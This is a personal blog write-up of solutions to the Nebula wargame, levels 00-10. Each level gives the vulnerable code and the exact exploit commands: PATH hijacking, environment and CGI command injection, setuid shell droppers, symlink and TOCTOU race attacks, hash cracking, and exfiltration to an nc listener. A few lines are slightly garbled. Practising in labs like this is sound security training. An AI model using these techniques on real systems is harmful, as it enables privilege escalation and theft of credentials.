Old nebular notes

I found some of my old nebular notes. It must have been before I discovered org-mode as it was originally in Markdown. I have a custom Emacs function to convert md to org so these notes are unedited from about 2016. Enjoy..

level00

Task

This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.

Solution

flag00@nebula:~$ find / -xdev \( -perm -4000 \) -type f -print0 | xargs -0 ls -l

gives the following

-rwsr-x--- 1 flag00  level00      7358 2011-11-20 21:22 /bin/.../flag00
-rwsr-xr-x 1 root    root        26260 2011-05-18 03:12 /bin/fusermount
-rwsr-xr-x 1 root    root        88716 2011-08-09 09:15 /bin/mount
-rwsr-xr-x 1 root    root        34740 2011-05-03 03:38 /bin/ping
-rwsr-xr-x 1 root    root        39116 2011-05-03 03:38 /bin/ping6
-rwsr-xr-x 1 root    root        31116 2011-06-24 02:37 /bin/su
-rwsr-xr-x 1 root    root        63592 2011-08-09 09:15 /bin/umount
-rwsr-xr-x 1 root    root        13904 2011-11-13 22:10 /sbin/mount.ecryptfs_private
-rwsr-sr-x 1 daemon  daemon      42736 2011-05-16 03:31 /usr/bin/at
-rwsr-xr-x 1 root    root        40292 2011-06-24 02:36 /usr/bin/chfn
-rwsr-xr-x 1 root    root        31748 2011-06-24 02:36 /usr/bin/chsh
-rwsr-xr-x 1 root    root        57956 2011-06-24 02:36 /usr/bin/gpasswd
-rwsr-xr-x 1 root    root        56208 2011-07-28 13:02 /usr/bin/mtr
-rwsr-xr-x 1 root    root        30896 2011-06-24 02:37 /usr/bin/newgrp
-rwsr-xr-x 1 root    root        41284 2011-06-24 02:36 /usr/bin/passwd
-rwsr-xr-x 2 root    root       156824 2011-09-11 12:06 /usr/bin/sudo
-rwsr-xr-x 2 root    root       156824 2011-09-11 12:06 /usr/bin/sudoedit
-rwsr-xr-x 1 root    root        14012 2011-05-03 03:38 /usr/bin/traceroute6.iputils
-rwsr-xr-- 1 root    messagebus 312728 2011-09-02 02:31 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root    root         5564 2011-04-30 08:02 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root    root       243864 2011-07-29 09:02 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root    root         9732 2011-10-04 15:08 /usr/lib/pt_chown
-r-sr-xr-x 1 root    root         9532 2011-11-20 17:35 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
-r-sr-xr-x 1 root    root        10224 2011-11-20 17:35 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
-rwsr-xr-- 1 root    dip        273272 2011-02-04 00:43 /usr/sbin/pppd
-rwsr-sr-x 1 libuuid libuuid     13860 2011-08-09 09:15 /usr/sbin/uuidd

running the only file with flag00 in the name

flag00@nebula:~$ /bin/.../flag00

Congrats, now run getflag to get your flag!

so i run getflag

flag00@nebula:~$ getflag

You have successfully executed getflag on a target account

Level01

Task

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

To do this level, log in as the level01 account with the password level01. Files for this level can be found in /home/flag01.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}

Solution

So the above code loads the users enviroment and then runs echo followed by a string, by modifying the PATH variable it can be exploited.

level01@nebula:/home/flag01$ export PATH=/tmp:$PATH
level01@nebula:/home/flag01$ echo "/bin/bash"  >> /tmp/echo
level01@nebula:/home/flag01$ chmod +x /tmp/echo
level01@nebula:/home/flag01$ ./flag01

flag01@nebula:/home/flag01$ getflag
You have successfully executed getflag on a target account

Level02

Task

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

To do this level, log in as the level02 account with the password level02. Files for this level can be found in /home/flag02.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);

  system(buffer);
}

Solution

The binary calls the USER environment variable. Changing this allows us to exploit and get the flag.

level02@nebula:/home/flag02$ export USER="user && /bin/bash && echo"
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo user && /bin/bash && echo is cool")
user
flag02@nebula:/home/flag02$ getflag
You have successfully executed getflag on a target account

Level03

Task

Check the home directory of flag03 and take note of the files there.

There is a crontab that is called every couple of minutes.

To do this level, log in as the level03 account with the password level03. Files for this level can be found in /home/flag03.

Solution

The files in /home/flag03/ show a directory and a shell script

#!/bin/sh

for i in /home/flag03/writable.d/* ; do
        (ulimit -t 5; bash -x "$i")
        rm -f "$i"
done

To manipulate this i put the following as /tmp/shell.c

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/bin/bash");
}

Then put the following in /home/flag03/writable.d/ and wait for it to run

#!/bin/bash

gcc /tmp/shell.c -o /home/flag03/shell
chmod +s /home/flag03/shell

After it has ran, i can run the shell file and get the flag

level03@nebula:/home/flag03$ ls writable.d/
run.sh
level03@nebula:/home/flag03$ ls writable.d/
level03@nebula:/home/flag03$ ./shell
flag03@nebula:/home/flag03$ getflag
You have successfully executed getflag on a target account

Level04

Task

This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :)

To do this level, log in as the level04 account with the password level04. Files for this level can be found in /home/flag04.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));

  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}

Solution

The binary looks for a file and opens it if you have permissions. to open the /home/flag04/token i create a symbolic link to /tmp/test and am then able to open the file with the binary.

level04@nebula:/home/flag04$ ln -s /home/flag04/token /tmp/test
level04@nebula:/home/flag04$ ./flag04 /tmp/test
06508b5e-8909-4f38-b630-fdb148a848a2
level04@nebula:/home/flag04$ su flag04
Password: 06508b5e-8909-4f38-b630-fdb148a848a2
sh-4.2$ getflag
You have successfully executed getflag on a target account

Level05

Task

Check the flag05 home directory. You are looking for weak directory permissions

To do this level, log in as the level05 account with the password level05. Files for this level can be found in /home/flag05.

Solution

looking in the directory we see a .backup folder with “lax” permissions

level05@nebula:/home/flag05$ ls -la
total 5
drwxr-x--- 4 flag05 level05   93 2012-08-18 06:56 .
drwxr-xr-x 1 root   root     200 2012-08-27 07:18 ..
drwxr-xr-x 2 flag05 flag05    42 2011-11-20 20:13 .backup
-rw-r--r-- 1 flag05 flag05   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag05 flag05  3353 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 flag05 flag05   675 2011-05-18 02:54 .profile
drwx------ 2 flag05 flag05    70 2011-11-20 20:13 .ssh

looking in the .backup folder we see a .tgz archive

level05@nebula:/home/flag05$ ls -la .backup/
total 2
drwxr-xr-x 2 flag05 flag05    42 2011-11-20 20:13 .
drwxr-x--- 4 flag05 level05   93 2012-08-18 06:56 ..
-rw-rw-r-- 1 flag05 flag05  1826 2011-11-20 20:13 backup-19072011.tgz

unarchiving it shows an ssh key

level05@nebula:/home/flag05/.backup$ cp backup-19072011.tgz ~
level05@nebula:/home/flag05/.backup$ cd
level05@nebula:~$ ls
backup-19072011.tgz
level05@nebula:~$ tar xvzf ./backup-19072011.tgz
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys

using the key to ssh allows us to login as the flag user

level05@nebula:~$ ssh flag05@localhost -i .ssh/id_rsa
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
flag05@nebula:~$ getflag
You have successfully executed getflag on a target account

flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh# Level06

Task

The flag06 account credentials came from a legacy unix system.

To do this level, log in as the level06 account with the password level06. Files for this level can be found in /home/flag06.

Solution

level06@nebula:/home/flag06$ cat /etc/passwd | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh

putting that into john

{17-01-09 10:13}10d1336738e8:/opt/Data root# emacs flag06passwd
{17-01-09 10:13}10d1336738e8:/opt/Data root# john ./flag06passwd
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 AVX-16])
Press 'q' or Ctrl-C to abort, almost any other key for status
hello            (flag06)
1g 0:00:00:00 DONE 2/3 (2017-01-09 10:13) 4.761g/s 3571p/s 3571c/s 3571C/s 123456..marley
Use the "--show" option to display all of the cracked passwords reliably
Session completed

password is hello

level06@nebula:/home/flag06$ su flag06
Password: hello
sh-4.2$ getflag
You have successfully executed getflag on a target account

Level07

Task

The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.

To do this level, log in as the level07 account with the password level07. Files for this level can be found in /home/flag07.

#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
  $host = $_[0];

  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; }

  print("</pre></body></html>");

}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

Solution

There is a webserver on port 7007

level07@nebula:/home/flag07$ cat thttpd.conf | grep port
# Specifies an alternate port number to listen on.
port=7007

using the same exploit from a previous level

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/bin/bash");
}

and a bash script to compile it

#!/bin/bash

gcc /tmp/shell.c -o /home/flag07/shell
chmod +s /home/flag07/shell

Use the webserver to run as flag07 user

level07@nebula:/home/flag07$ cd
level07@nebula:~$ wget 'http://localhost:7007/index.cgi?Host=127.0.0.1|sh /tmp/run07.sh'
--2017-01-09 02:33:24--  http://localhost:7007/index.cgi?Host=127.0.0.1%7Csh%20/tmp/run07.sh
Resolving localhost... 127.0.0.1
Connecting to localhost|127.0.0.1|:7007... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `index.cgi?Host=127.0.0.1|sh %2Ftmp%2Frun07.sh'

    [  <=>                                                                         ] 77          76.9B/s   in 1.0s

2017-01-09 02:33:25 (76.9 B/s) - `index.cgi?Host=127.0.0.1|sh %2Ftmp%2Frun07.sh' saved [77]

Then look for our new shell binary

level07@nebula:/home/flag07$ ls -la
total 18
drwxr-x--- 1 flag07 level07   60 2017-01-09 02:33 .
drwxr-xr-x 1 root   root     300 2012-08-27 07:18 ..
-rw-r--r-- 1 flag07 flag07   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag07 flag07  3353 2011-05-18 02:54 .bashrc
-rwxr-xr-x 1 root   root     368 2011-11-20 21:22 index.cgi
-rw-r--r-- 1 flag07 flag07   675 2011-05-18 02:54 .profile
-rwsr-sr-x 1 flag07 flag07  7321 2017-01-09 02:33 shell
-rw-r--r-- 1 root   root    3719 2011-11-20 21:22 thttpd.conf

Get the Flag

level07@nebula:/home/flag07$ ./shell
flag07@nebula:/home/flag07$ getflag
You have successfully executed getflag on a target account

Level08

Task

World readable files strike again. Check what that user was up to, and use it to log into flag08 account.

To do this level, log in as the level08 account with the password level08. Files for this level can be found in /home/flag08.

Solution

there is a pcap in the home directory, scp'ing this over and opening in wireshark gives us the below

scp level08@192.168.1.10:/home/flag08/capture.pcap .
level08@192.168.1.10's password:
capture.pcap                                                                         100% 8302     8.1KB/s   00:00

so the password looks to be backdoor...00Rm8.ate however the . are represented by \x7f so the password actually is backd00Rmate

level08@nebula:/home/flag08$ su flag08
Password:backd00Rmate
sh-4.2$ whoami ; getflag
flag08
You have successfully executed getflag on a target account

Level09

Task

There‚ a C setuid wrapper for some vulnerable PHP code‚Ķ

To do this level, log in as the level09 account with the password level09. Files for this level can be found in /home/flag09.

<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);

  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

Solution

When pre_replace is used with the /e flag, the replacement string is substituted, evaluated, and replaced in the original. By looking at the PHP source code, we see the following: $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);

the regex will mean that it is the pattern ([email EMAIL]) where EMAIL will be evaluated by the function.

with that in mind crafting the following payload allows us to get the flag

level09@nebula:/home/flag09$ echo '[email {${@system($use_me)}}]' > /tmp/09

here the email arg will be an argument that will send the next argument to the system.

level09@nebula:/home/flag09$ ./flag09 /tmp/09 sh
sh-4.2$ getflag
You have successfully executed getflag on a target account

Level10

Task

The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.

To do this level, log in as the level10 account with the password level10. Files for this level can be found in /home/flag10.

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}

Solution

The binary first checks to see if the user running the problem has access to the file (line24) It then assumes for the rest of the execution of the program, that we still have access to it. To trick this i do the following.

level10@nebula:/home/flag10$ while :; do ln -fs /tmp/token /tmp/token10; ln -fs /home/flag10/token /tmp/token10; don

level10@nebula:/home/flag10$ while :; do nice -n 20 ./flag10 192.168.1.1;done

then on my attacker

{17-01-09 12:18}0cc7a14b8ffe:~ root# while :; do nc -l -p 18211 >> out.txt; done
{17-01-09 12:18}0cc7a14b8ffe:~ root# tail -f out.txt | grep -v ".oO Oo."

I found this to be a real challange, so its something i need to back and review, but it did work and i found the token

615a2ce1-b2b5-4c76-8eed-8aa5c4015c27

then su to the flag user and get the flag

level10@nebula:/home/flag10$ su flag10
Password: 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
sh-4.2$ getflag
You have successfully executed getflag on a target account

Date: 2025-10-18 Sat 15:46